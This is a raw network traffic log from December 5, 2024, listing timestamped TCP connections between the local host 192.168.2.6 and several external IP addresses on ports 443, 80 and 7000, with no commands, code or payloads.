Dec 5, 2024 14:01:42.748111010 CET	49779	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:42.748116016 CET	443	49779	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:42.963543892 CET	443	49780	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:42.971604109 CET	49780	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:42.971618891 CET	443	49780	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:43.182463884 CET	443	49779	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:43.182560921 CET	443	49779	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:43.182684898 CET	49779	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:43.182965994 CET	49779	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:43.182965994 CET	49779	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:43.182982922 CET	443	49779	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:43.182991028 CET	443	49779	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:43.187530041 CET	49785	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:43.187567949 CET	443	49785	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:43.191658020 CET	49785	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:43.191795111 CET	49785	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:43.191804886 CET	443	49785	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:43.413252115 CET	443	49780	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:43.413350105 CET	443	49780	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:43.413449049 CET	49780	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:43.444761038 CET	49780	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:43.450429916 CET	49778	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:43.451668978 CET	49789	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:43.466819048 CET	443	49781	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:43.468682051 CET	49781	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:43.468699932 CET	443	49781	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:43.472723007 CET	49781	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:43.472729921 CET	443	49781	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:43.571042061 CET	80	49778	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:43.571890116 CET	80	49789	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:43.571988106 CET	49778	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:43.572029114 CET	49789	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:43.575370073 CET	49789	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:43.695283890 CET	80	49789	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:43.901977062 CET	443	49781	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:43.902065039 CET	443	49781	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:43.902173042 CET	49781	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:43.921572924 CET	49781	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:43.921588898 CET	443	49781	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:43.921621084 CET	49781	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:43.921627998 CET	443	49781	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:43.961599112 CET	49790	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:43.961623907 CET	443	49790	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:43.961728096 CET	49790	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:43.967591047 CET	49790	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:43.967609882 CET	443	49790	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:43.988405943 CET	443	49782	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.001626968 CET	49782	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.001636028 CET	443	49782	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.002727032 CET	49782	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.002732992 CET	443	49782	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.033410072 CET	443	49783	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.058727026 CET	49783	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.058737040 CET	443	49783	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.060043097 CET	49783	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.060048103 CET	443	49783	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.089879036 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:44.133526087 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:44.259814024 CET	443	49784	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.260370016 CET	49784	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.260387897 CET	443	49784	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.260924101 CET	49784	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.260929108 CET	443	49784	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.428129911 CET	443	49782	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.428205967 CET	443	49782	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.428268909 CET	49782	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.428498983 CET	49782	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.428515911 CET	443	49782	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.428527117 CET	49782	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.428533077 CET	443	49782	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.431664944 CET	49791	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.431701899 CET	443	49791	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.431855917 CET	49791	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.432054043 CET	49791	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.432064056 CET	443	49791	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.472312927 CET	443	49783	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.472378016 CET	443	49783	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.472472906 CET	49783	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.472665071 CET	49783	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.472677946 CET	443	49783	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.472692013 CET	49783	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.472697973 CET	443	49783	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.476070881 CET	49792	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.476108074 CET	443	49792	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.476212978 CET	49792	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.476365089 CET	49792	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.476381063 CET	443	49792	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.696444035 CET	443	49784	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.696497917 CET	443	49784	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.696554899 CET	49784	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.696919918 CET	49784	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.696934938 CET	443	49784	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.696950912 CET	49784	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.696957111 CET	443	49784	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.700593948 CET	49793	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.700638056 CET	443	49793	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:44.700711966 CET	49793	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.700926065 CET	49793	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:44.700946093 CET	443	49793	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:45.109371901 CET	80	49789	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:45.110891104 CET	49794	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:45.110930920 CET	443	49794	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:45.111012936 CET	49794	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:45.111308098 CET	49794	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:45.111327887 CET	443	49794	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:45.134296894 CET	443	49785	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:45.134891033 CET	49785	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:45.134906054 CET	443	49785	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:45.135447979 CET	49785	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:45.135454893 CET	443	49785	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:45.203880072 CET	80	49789	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:45.203990936 CET	49789	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:45.569170952 CET	443	49785	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:45.569245100 CET	443	49785	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:45.569369078 CET	49785	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:45.569511890 CET	49785	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:45.569531918 CET	443	49785	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:45.569542885 CET	49785	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:45.569549084 CET	443	49785	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:45.572869062 CET	49795	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:45.572896957 CET	443	49795	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:45.573163033 CET	49795	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:45.573352098 CET	49795	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:45.573365927 CET	443	49795	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:45.686541080 CET	443	49790	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:45.687032938 CET	49790	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:45.687041044 CET	443	49790	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:45.687599897 CET	49790	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:45.687604904 CET	443	49790	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.122920990 CET	443	49790	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.122993946 CET	443	49790	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.123073101 CET	49790	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.123331070 CET	49790	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.123332024 CET	49790	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.123344898 CET	443	49790	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.123354912 CET	443	49790	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.126266003 CET	49796	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.126296043 CET	443	49796	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.126604080 CET	49796	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.126801014 CET	49796	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.126815081 CET	443	49796	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.173852921 CET	443	49791	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.174321890 CET	49791	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.174335957 CET	443	49791	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.174808025 CET	49791	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.174813032 CET	443	49791	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.196026087 CET	443	49792	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.199071884 CET	49792	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.199090004 CET	443	49792	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.199932098 CET	49792	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.199938059 CET	443	49792	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.325347900 CET	443	49794	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:46.327084064 CET	49794	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:46.327102900 CET	443	49794	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:46.608933926 CET	443	49791	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.609006882 CET	443	49791	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.609132051 CET	49791	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.615339041 CET	49791	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.615339041 CET	49791	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.615360022 CET	443	49791	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.615369081 CET	443	49791	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.630059004 CET	443	49792	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.630135059 CET	443	49792	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.630199909 CET	49792	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.636394978 CET	49792	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.636415958 CET	443	49792	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.636426926 CET	49792	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.636432886 CET	443	49792	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.652295113 CET	49797	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.652323008 CET	443	49797	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.652420998 CET	49797	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.660088062 CET	49797	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.660099030 CET	443	49797	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.672530890 CET	49798	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.672553062 CET	443	49798	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.672632933 CET	49798	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.676192045 CET	49798	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.676206112 CET	443	49798	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.707808018 CET	443	49793	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.720346928 CET	49793	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.720366955 CET	443	49793	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.720840931 CET	49793	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:46.720846891 CET	443	49793	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:46.773412943 CET	443	49794	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:46.773497105 CET	443	49794	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:46.773598909 CET	49794	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:46.776573896 CET	49794	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:46.826147079 CET	49789	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:46.827440023 CET	49799	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:46.946337938 CET	80	49789	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:46.946413994 CET	49789	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:46.947282076 CET	80	49799	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:46.948993921 CET	49799	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:46.982712984 CET	49799	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:47.102395058 CET	80	49799	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:47.142812014 CET	443	49793	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:47.142874956 CET	443	49793	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:47.143004894 CET	49793	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:47.204344034 CET	49793	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:47.204372883 CET	443	49793	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:47.204384089 CET	49793	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:47.204391003 CET	443	49793	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:47.208878040 CET	49800	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:47.208920002 CET	443	49800	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:47.208972931 CET	49800	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:47.209391117 CET	49800	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:47.209412098 CET	443	49800	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:47.303956032 CET	443	49795	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:47.304569006 CET	49795	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:47.304588079 CET	443	49795	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:47.305130005 CET	49795	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:47.305135012 CET	443	49795	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:47.737938881 CET	443	49795	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:47.738029003 CET	443	49795	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:47.738082886 CET	49795	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:47.738341093 CET	49795	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:47.738363981 CET	443	49795	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:47.738379002 CET	49795	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:47.738384962 CET	443	49795	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:47.740801096 CET	49802	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:47.740840912 CET	443	49802	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:47.740916014 CET	49802	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:47.741046906 CET	49802	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:47.741064072 CET	443	49802	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:47.844784975 CET	443	49796	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:47.845319033 CET	49796	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:47.845340967 CET	443	49796	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:47.845936060 CET	49796	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:47.845942974 CET	443	49796	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.162456989 CET	80	49799	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:48.164283037 CET	49805	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:48.164316893 CET	443	49805	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:48.164381981 CET	49805	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:48.165545940 CET	49805	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:48.165560961 CET	443	49805	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:48.219774961 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:48.219801903 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:48.219866991 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:48.220843077 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:48.220884085 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:48.220940113 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:48.222188950 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:48.222199917 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:48.222537994 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:48.222553015 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:48.262691021 CET	49799	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:48.280985117 CET	443	49796	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.281054974 CET	443	49796	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.281109095 CET	49796	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.281403065 CET	49796	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.281421900 CET	443	49796	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.281517982 CET	49796	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.281526089 CET	443	49796	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.287616968 CET	49808	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.287658930 CET	443	49808	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.289259911 CET	49808	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.289459944 CET	49808	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.289477110 CET	443	49808	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.375514984 CET	443	49797	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.377093077 CET	49797	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.377093077 CET	49797	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.377104998 CET	443	49797	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.377123117 CET	443	49797	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.392635107 CET	443	49798	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.393543959 CET	49798	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.393543959 CET	49798	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.393559933 CET	443	49798	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.393582106 CET	443	49798	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.439534903 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:48.439560890 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:48.439724922 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:48.443519115 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:48.443542004 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:48.447880030 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:48.456805944 CET	49809	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:48.456820965 CET	443	49809	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:48.457523108 CET	49810	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:48.457542896 CET	443	49810	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:48.814790010 CET	443	49797	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.814867020 CET	443	49797	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.815195084 CET	49797	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.815195084 CET	49797	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.815308094 CET	49797	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.815330029 CET	443	49797	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.818243980 CET	49812	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.818272114 CET	443	49812	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.818448067 CET	49812	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.818623066 CET	49812	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.818635941 CET	443	49812	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.827716112 CET	443	49798	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.827770948 CET	443	49798	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.827991962 CET	49798	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.828195095 CET	49798	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.828208923 CET	443	49798	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.828255892 CET	49798	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.828262091 CET	443	49798	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.831005096 CET	49813	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.831023932 CET	443	49813	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.831238985 CET	49813	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.831238985 CET	49813	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.831269026 CET	443	49813	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.926824093 CET	443	49800	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.927964926 CET	49800	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.927964926 CET	49800	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:48.927983046 CET	443	49800	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:48.927994967 CET	443	49800	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:49.365658998 CET	443	49800	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:49.365716934 CET	443	49800	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:49.365787983 CET	49800	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:49.366275072 CET	49800	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:49.366283894 CET	443	49800	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:49.366297007 CET	49800	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:49.366302967 CET	443	49800	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:49.370901108 CET	49814	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:49.370951891 CET	443	49814	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:49.371083975 CET	49814	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:49.371422052 CET	49814	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:49.371437073 CET	443	49814	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:49.382384062 CET	443	49805	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:49.385181904 CET	49805	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:49.385200024 CET	443	49805	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:49.470823050 CET	443	49802	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:49.472084045 CET	49802	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:49.472100973 CET	443	49802	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:49.472923040 CET	49802	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:49.472929001 CET	443	49802	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:49.751862049 CET	443	49806	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:49.752013922 CET	49806	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:49.758003950 CET	443	49807	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:49.758091927 CET	49807	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:49.827636957 CET	443	49805	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:49.827697039 CET	443	49805	104.21.67.152	192.168.2.6
Dec 5, 2024 14:01:49.827773094 CET	49805	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:49.828927040 CET	49805	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:01:49.905421972 CET	443	49802	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:49.905492067 CET	443	49802	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:49.905684948 CET	49802	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:49.910989046 CET	49802	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:49.910994053 CET	443	49802	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:49.913877964 CET	49815	80	192.168.2.6	158.101.44.242
